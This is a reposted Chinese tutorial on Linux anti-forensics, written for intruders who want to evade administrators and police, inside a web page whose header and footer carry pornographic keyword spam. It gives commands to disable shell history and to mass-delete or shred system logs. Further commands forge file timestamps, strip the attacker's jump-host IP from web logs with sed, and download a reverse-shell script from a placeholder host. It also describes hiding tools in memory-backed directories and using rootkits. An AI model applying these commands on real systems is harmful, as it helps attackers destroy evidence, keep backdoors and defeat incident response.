青草久久影院-青草久久伊人-青草久久久-青草久久精品亚洲综合专区-SM双性精跪趴灌憋尿调教H-SM脚奴调教丨踩踏贱奴

17站長網(wǎng)

17站長網(wǎng) 首頁 安全 入侵防御 查看內(nèi)容

Linux下的匿跡隱藏方法

2022-9-26 13:06| 查看: 2278 |來源: 互聯(lián)網(wǎng)

被警察叔叔請去喝茶時間很痛苦的事情,各位道長如果功力不夠又喜歡出風(fēng)頭的想必都有過這樣的“待遇”。如何使自己在系統(tǒng)中隱藏的更深,是我們必 須掌握的基本功。當(dāng)然,如果管理員真的想搞你而他的功力又足夠足的話

被警察叔叔請去喝茶時間很痛苦的事情,各位道長如果功力不夠又喜歡出風(fēng)頭的想必都有過這樣的“待遇”。如何使自己在系統(tǒng)中隱藏的更深,是我們必 須掌握的基本功。當(dāng)然,如果管理員真的想搞你而他的功力又足夠足的話,相信沒什么人能夠真正的“踏雪無痕”。Forensic 與Anti-Forensic,說到底只是你和管理員之間的技術(shù)間較量而已。貌似很少有專門說這個的文章,大部分就是下載個日志擦除的軟件,然后運(yùn)行下就可以了,對小站可以,但對方如果是經(jīng)驗(yàn)豐富的管理員呢?我們該如何應(yīng)對?我在這里只介紹unix-like system下的,至于windows或者其他什么系統(tǒng)下的,歡迎各位道友補(bǔ)充。

1.最小化你的日志

P.S 訪問目標(biāo)前用跳板我就不廢話了,你是VPN也好3389也罷,ssh中轉(zhuǎn),代理都行。總之記住一點(diǎn)—直接連接攻擊目標(biāo)是愚蠢的

1.1shell使用問題

目前l(fā)inux下大多數(shù)的shell都是采用bash或者其他的什么shell 通過輸入輸出重定向來實(shí)現(xiàn)與服務(wù)器的交互的,當(dāng)我們使用ssh 或者telnet之類的登錄的時候,我們的命令都會被記錄在shell 的history文件下面。舉例來說bash會在當(dāng)前目錄下面.bash_history文件里記錄下你此次登陸操作的命令,如果你拿這臺機(jī)器當(dāng)跳板的 話,或者掃描其他機(jī)器,你的命令都會被記錄下來哦。呵呵,所以我們登錄的第一件事就是執(zhí)行如下命令:

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

當(dāng)然不同的shell寫法可能不同,像有的set設(shè)置環(huán)境變量什么的。大家根據(jù)自己的shell自行修改。記住:從 webshell彈回的shell也會記錄你的操作,值得慶幸的是現(xiàn)在很多彈shell的腳本都預(yù)先unset 環(huán)境變量。

 

我們還需要記住的是在登錄的時候出現(xiàn)在登錄窗口的一些信息,比如該用戶在什么時候從哪個IP登錄進(jìn)來的等等,這在我們后面的用于日志清除與修改的時候要用到。

如圖:

作為跳板的時候,我們有可能需要用本機(jī)的ssh去訪問別的機(jī)器,但是別的機(jī)器的公鑰呢?總不能放在當(dāng)前用戶的目錄下吧?當(dāng)然你可以事后刪除,但多一事不如少一事,你說對么?

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

就可以了,但在這樣運(yùn)行某些命令的時候可能會有提示,說你的stdin不是個terminal,這里可以這樣解決:

python -c ‘import pty; pty.spawn(“/bin/sh”)’

或者自己再建立個ttyshell。

1.2 webshell的選擇問題

可能各位道友的日常生活中最主要目標(biāo)瞄向了webserver 。現(xiàn)在的web也是大多數(shù)入侵的 一個突破口。Linux下用的最多的就是apache服務(wù)器了,當(dāng)我們發(fā)覺一個服務(wù)器的漏洞時候很可能要上傳一個webshell來進(jìn)行對服務(wù)器文件進(jìn)一 步的操作和信息的搜集,部分webshell也提供了反彈shell的功能。 如何能夠在apache服務(wù)器的日志文件中留下最小的記錄也是需要深究的。這種情況通常發(fā)生在沒能夠獲得足夠的權(quán)限來清除apache日志。如果能夠 root了,則可以將重點(diǎn)放在第二節(jié)日志清除上。通常,日志只記錄GET的信息,比如你的注入, 你采用了那種方式提交數(shù)據(jù)等等。如果我們的 webshell采用的多是GET方式交互的話,就很容易在httpd的access_log中留下很多日志。這些以后都會被作為證據(jù)所采納的。 Phpspy是個很好的選擇,作者也注意掉了這點(diǎn),取消了GET方式的交互,再給webshell起一個比較迷惑的名字,這樣我們與webshell的交 流就更加隱秘。

2.日志的清除與改寫

日志清除與改寫,俗稱擦PP,這是個很重要的過程,日志記錄了你對目標(biāo)機(jī)器的操作記錄,大部分的入侵者 查找都是通過日志來確定的,因此,我們需要對日志文件進(jìn)行操作。對日志操作有這么個說法,能修改的就不清除,這樣才能最小的減少管理員的懷疑。Linux 下的大多數(shù)文件是以文本方式,或者以簡單的結(jié)構(gòu)體方式存入文件的,這就為我們修改某個日志記錄里的具體內(nèi)容提供了前提條件。

需要注意的一點(diǎn)是,我們需要先看看日志的存放位置,有的管理員會修改日志保存的位置,一般來說,我們可以查看/etc/syslog.conf來獲 得log文件存放的位置。但要注意的是,有的管理員(及其負(fù)責(zé))會重新編譯syslogd文件來重新指定log存放的位置,怎么辦?在這種情況下可以用 strings來看下/sbin/syslogd這個文件,這種管理員我只在書里看到過,至少我沒遇到過: P。這個配置文件里面記錄了系統(tǒng)存放某些log的目錄,如secure文件等。下面我們就會根據(jù)這個文件來清理和修改日志。

現(xiàn)在可以在網(wǎng)上公開獲得的日志清除程序代碼很粗糙,我曾經(jīng)看到過最夸張的清日志的代碼像這樣:

rm -rf /var/log/lastlog ; rm -rf /var/log/telnetd ; rm -rf /var/run/utmp ; rm -rf /var/log/secure ; rm -rf /root/.ksh_history ; rm -rf /root/.bash_history ; rm -rf /root/.bash_logut ; rm -rf /var/log/wtmp ; rm -rf /etc/wtmp ; rm -rf /var/run/utmp ; rm -rf /etc/utmp ; rm -rf /var/log ; rm -rf /var/adm ; rm -rf /var/apache/log ; rm -rf /var/apache/logs ; rm -rf /usr/local/apache/log ; rm -rf /usr/local/apache/logs ; rm -rf /var/log/acct ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/log/proftpd/xferlog.legacy ; rm -rf /var/log/proftpd.access_log ; rm -rf /var/log/proftpd.xferlog ; rm -rf /var/log/httpd/error_log ; rm -rf /var/log/httpd/access_log ; rm -rf /etc/httpd/logs/access_log ; rm -rf /etc/httpd/logs/error_log ;rm -rf /var/log/news/suck.notice ; rm -rf /var/spool/tmp ; rm -rf /var/spool/errors ; rm -rf /var/spool/logs ; rm -rf /var/spool/locks ; rm -rf /usr/local/www/logs/thttpd_log ; rm -rf /var/log/thttpd_log ; rm -rf /var/log/ncftpd/misclog.txt ; rm -rf /var/log/ncftpd.errs ; rm -rf /var/log/auth ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history –r

整個一rm集合,要是服務(wù)器跑了很長時間,積累了很多日志。你這樣一刪除,的,你幫他省事了,他也省事,一眼就看出有人進(jìn)來了。

先不說其他,用rm刪除就不可取,正確的刪除文件做法是用shred

shred -n 31337 -z -u file_to_delete

這樣多次擦除才夠安全。呵呵

下面具體的針對日志文件進(jìn)行分析。

W命令提供了管理員查看當(dāng)前登錄帳戶的功能,所以與管理員同臺共演是件很危險(xiǎn)的事情,能不做就不做,但也有人曾經(jīng)上演過local exp后,裝上tty 然后T管理員下線截獲登錄密碼的好戲。呵呵,如何讓w不顯示你登錄了呢?

用rootkit我就不廢話了,這里有個小竅門,即使是普通用戶登錄管理員也不能看見:

在跳板上登錄目標(biāo)ssh -T somebody@1.1.1.1 /bin/bash –i 你可以試試,很好用哦。

OK,言歸正傳

首先第一個概念是timstamp,也就是你用ls –l 看到的東西,我們在修改一個LOG文件之前或者留后門之后都得留心下這個時間,有很多管理員喜歡通過timestamp來查找入侵者留下的東西。記住以下命令

touch -r 具有你希望改成的時間的文件 你要改變的文件 他能夠使得兩個文件的timestamp保持一致。

在你修改日志之前,你可以在/dev/shm下面建立一個臨時文件,并將log的timestamp保存下倆,然后再touch回去。為什么要 用/dev/shm 目錄在第三節(jié)會有說明。當(dāng)然我們也可以用程序?qū)崿F(xiàn),不過有的時候我們會碰到?jīng)]有見過的日志類型,所以有時候需要手工改寫日志。除了時間之外,還需要注意文 件的其他屬性,比如所有者或是否有粘滯位等等。這些都需要注意。

Linux 的日志散落在系統(tǒng)各處,同時系統(tǒng)管理員也能夠靈活的制定日志保存的位置,這就要求我們非常小心,采用通用的日志移除或改寫工具是很不明智的,為此我們要對需要修改的日志系統(tǒng)有個全面的了解。具體的內(nèi)容請參看文章《Linux服務(wù)器日志管理詳解》。

怎么使用自己去看看吧。我個人還是傾向于某個日志用某個特定的清除或修改器,這樣靈活性更大點(diǎn)。

我們也可以使用sed命令行工具來清除某些日志,通常我會這樣修改web日志:

touch /dev/shm/timestamp; touch -r access_log /dev/shm/timestamp;sed’/192\.168\.44\.1/d’ access_log > /dev/shm/backlog ; cat/dev/shm/backlog > access_log; touch -r /dev/shm/timestamp./access_log ;shred -n 255 -z -u /dev/shm/timestamp;

這里192.168.44.1是我跳板的IP。

具體的log修改和擦除工具,各位道長就從網(wǎng)上下個現(xiàn)成的自己改改吧,呵呵,我就不在這獻(xiàn)丑了。

還有一點(diǎn),我們要將wtmp文件中的登錄日志修改成原來管理員登陸的IP和時間 也就是第一節(jié)中記下的時間與IP。如果實(shí)在得不到 root權(quán)限,我們也可以ssh localhost一下來隱藏登錄IP。

3.工具與數(shù)據(jù)的隱藏

3.1工具與數(shù)據(jù)的臨時存放

當(dāng)我們需要在服務(wù)器上留下某些程序的時候,比如sniff軟件,或者作為跳板攻擊其 他服務(wù)器的時候,我們不得不面對著一個痛苦的抉擇:既要能夠留下足夠的工具來完成必要的任務(wù),又要經(jīng)可能少的對文件系統(tǒng)乃至對磁盤的數(shù)據(jù)的改寫。在這種情 況下,如果所要保存的數(shù)據(jù)只是臨時的,我們就需要在內(nèi)存中建立起文件系統(tǒng)。這樣,當(dāng)系統(tǒng)再重啟后我們曾經(jīng)在磁盤上保留的信息就會被擦除,因?yàn)樗鼪]有被真正 的寫到磁盤上面去。(注意:通常我們只用這種方法來保存暫時用的程序、代碼等工具,如果要長久保存的不推薦此種方法)

為此,我們需要建立ramfs,它是一個在內(nèi)存中存在的文件系統(tǒng)。具體的介紹請各位道友自行查找相關(guān)文檔查看。建立ramfs很簡單,不過需要有root權(quán)限。代碼如下:

Wget http://xxxx/backshell.pl-P /tmp

但是否想過/tmp或許只是一個普通的ext3或者reinfs文件系統(tǒng),最多充其量是個tmpfs,這些文件系統(tǒng)有個特點(diǎn)就是會與磁盤交互。 那我們應(yīng)該選擇什么目錄來保存我們的代碼呢?在現(xiàn)代的linux操作系統(tǒng)中,默認(rèn)掛載了/dev/shm目錄其類型就是ramfs,作為系統(tǒng)共享用。我們 就可以利用它來完成保存shell的目的。

3.2工具與數(shù)據(jù)的長期存放

目錄的隱藏是個很高深的學(xué)問,在最開始的階段,我們通常是在一個很深的目錄里面建立名為”…” 或者” ”等的目錄,然后把工具一股腦的放進(jìn)去,這招在對付不負(fù)責(zé)任的管理員的時候很管用,但是遇到負(fù)責(zé)人的管理員一個find語句就能把你找出來:

# find / -uid 0 –perm -4000 –print
# find / -size +10000k –print
# find / -name “…“ –print
# find / -name “.. “ –print
# find / -name “. “ –print
# find / -name “ “ –print

留setuid的程序也是個大的忌諱,這樣很容易引起管理員的懷疑。特別是這個setuid程序存在莫名其妙的目錄下的時候。

在大多數(shù)情況下,我們可以借助 rootkit來幫助你完成這個功能。

我簡單的介紹下,像linux下的rootkit,總體來說可以分為兩大類:應(yīng)用層和內(nèi)核態(tài)的rootkit。

應(yīng)用層的rootkit通常通過修改某些文件來實(shí)現(xiàn)信息隱藏,比如修改ls 讓其不顯示某個特殊名稱文件夾,修改ifconfig讓其不顯示PROMISC位還有的是通過修改so。

文件來留后門等等。如果管理員安裝了tripwire之類的完整性校驗(yàn)工具各位道友就要小心了,不過一般的管理員也沒那么負(fù)責(zé)。這些低級的 rootkit很容易給chkrootkit之類的工具給揪出來,要真正用的話最好自己能下載源代碼重新編譯下,修改掉配置文件的默認(rèn)位置,這樣好點(diǎn)。

內(nèi)核級別的rootkit:顧名思義,進(jìn)入ring0級別來HOOK掉某些系統(tǒng)調(diào)用或者其他什么亂起八糟的方法來改掉系統(tǒng)調(diào)用的執(zhí)行輸出(當(dāng)然 也ring3 patch ring0也有,像suckit)。這種東西很詭異,能夠真正成功裝上的幾率不大,關(guān)鍵看人品,呵呵。進(jìn)入了2.6時代,很多美好的rootkit都失去 了光彩。加之2.6的模塊編譯要內(nèi)核樹的支持,更使得LKM方式的 rootkit舉步維艱。據(jù)wzt講,suckit也有2.6版本的,不過是private的要money。偶等窮人也只有干看到份了。

2.6的rootkit安裝可以看看包總的adore-ng教程 wnps也不錯,不過wzt這BB也停止開發(fā)了。還有什么內(nèi)核靜態(tài)patch等方法,也只是在phrack里面看到過,各位道友用過的給我介紹下啊,呵呵。

扯遠(yuǎn)了,關(guān)于如何隱藏文件,當(dāng)然你也可以采用偽造壞扇區(qū)的方法,將你的東西放在那里,一般的文件系統(tǒng)算是看不出來了。你可以用特殊的工具對其進(jìn)行存儲。這個再以后的advance anti-forensic文章中會講,不再多說。

4.如何安裝和編譯工具

可能linux與windows對于用戶來說,最大的不同就是linux從網(wǎng)上下載的大多數(shù)都是src 源代碼包,要使用的話需要在機(jī)器上現(xiàn)場編譯,好不容易有編譯好的發(fā)行包如rpm

deb還是和系統(tǒng)相關(guān)的 依賴性啊,等等,煩都煩死人了。像要裝個ettercap,什么libnet libpcap都得裝上,但有時候我們的目標(biāo)機(jī)器上沒有所需要的依賴文件,這怎么辦呢?不推薦使用rpm

dpkg 等方式來安裝需要的文件,也不推薦apt yum源等方式安裝,從源代碼編譯把,這樣比較好點(diǎn)。

我們把下載的源代碼放到自己的隱藏目錄里,在configure的時候需要指定prefix安裝路徑,總不能把這些包真正的裝到系統(tǒng)里面把,指定成我們的隱藏目錄就好,這樣一來,管理員也不會發(fā)現(xiàn)怎么系統(tǒng)安裝了許多原本沒有支持的庫文件或者頭文件了。

最后一步,當(dāng)編譯我們的工具時,需要指定所依賴的頭文件目錄和庫文件目錄,不要執(zhí)行make install命令,這樣一來,我們的工具就可以完全在我們的隱藏目錄里面了。

先寫這么多吧,呵呵,有想到的再加上。后頭還會寫篇Advance anti-forensic的文章。可能有的道友會說我太小心。小心好啊,小心使得萬年船,不是么?呵

本文最后更新于 2022-9-26 13:06,某些文章具有時效性,若有錯誤或已失效,請?jiān)诰W(wǎng)站留言或聯(lián)系站長:17tui@17tui.com
·END·
站長網(wǎng)微信號:w17tui,關(guān)注站長、創(chuàng)業(yè)、關(guān)注互聯(lián)網(wǎng)人 - 互聯(lián)網(wǎng)創(chuàng)業(yè)者營銷服務(wù)中心

免責(zé)聲明:本站部分文章和圖片均來自用戶投稿和網(wǎng)絡(luò)收集,旨在傳播知識,文章和圖片版權(quán)歸原作者及原出處所有,僅供學(xué)習(xí)與參考,請勿用于商業(yè)用途,如果損害了您的權(quán)利,請聯(lián)系我們及時修正或刪除。謝謝!

17站長網(wǎng)微信二維碼

始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長轉(zhuǎn)型升級,為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營銷服務(wù),與站長一起進(jìn)步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨(dú)!

掃一掃,關(guān)注站長網(wǎng)微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        主站蜘蛛池模板: 最新国产亚洲亚洲精品视频 | 久久成人伊人欧洲精品AV | 国产精品 日韩精品 欧美 | 蜜臀AV中文字幕熟女人妻 | 欧美日韩亚洲第一区在线 | 亚州AV人片一区二区三区99久 | 婷婷午夜影院 | a级精品九九九大片免费看 A级韩国乱理伦片在线观看 | 国产精品人妻久久无码不卡 | 粉嫩无套白浆第一次jk | 国产99精品视频 | 韩日美无码精品无码 | 99久久伊人一区二区yy5o99 | 国内精品视频一区二区在线观看 | 东北老妇xxxxhd | 深夜草逼逼 | 九九精品在线播放 | 免费看 a一级毛片 免费久久狼人香蕉网 | MATURETUBE乱妇| 国产老师开裆丝袜喷水漫画 | 亚洲黄色在线观看 | 99久久99久久久精品久久 | 欧美成人精品高清在线观看 | 99视频在线看观免费 | 久久中文字幕人妻熟AV女蜜柚M | 2019香蕉在线观看直播视频 | 4虎影院午夜在线观看 | 99视频精品全部 国产 | 久久青青草原综合伊人 | 亚洲色噜噜狠狠站欲八 | 日韩欧美视频一区 | 在线播放一区 | 好男人在线观看免费视频WWW | 国产全部视频列表支持手机 | 无限资源在线观看完整版免费下载 | 亚洲区欧美日韩综合 | 美女丝袜夹b | 色婷婷欧美在线播放内射 | 亚洲在线无码免费观看 | 男插女高潮一区二区 | 六级黄色片 |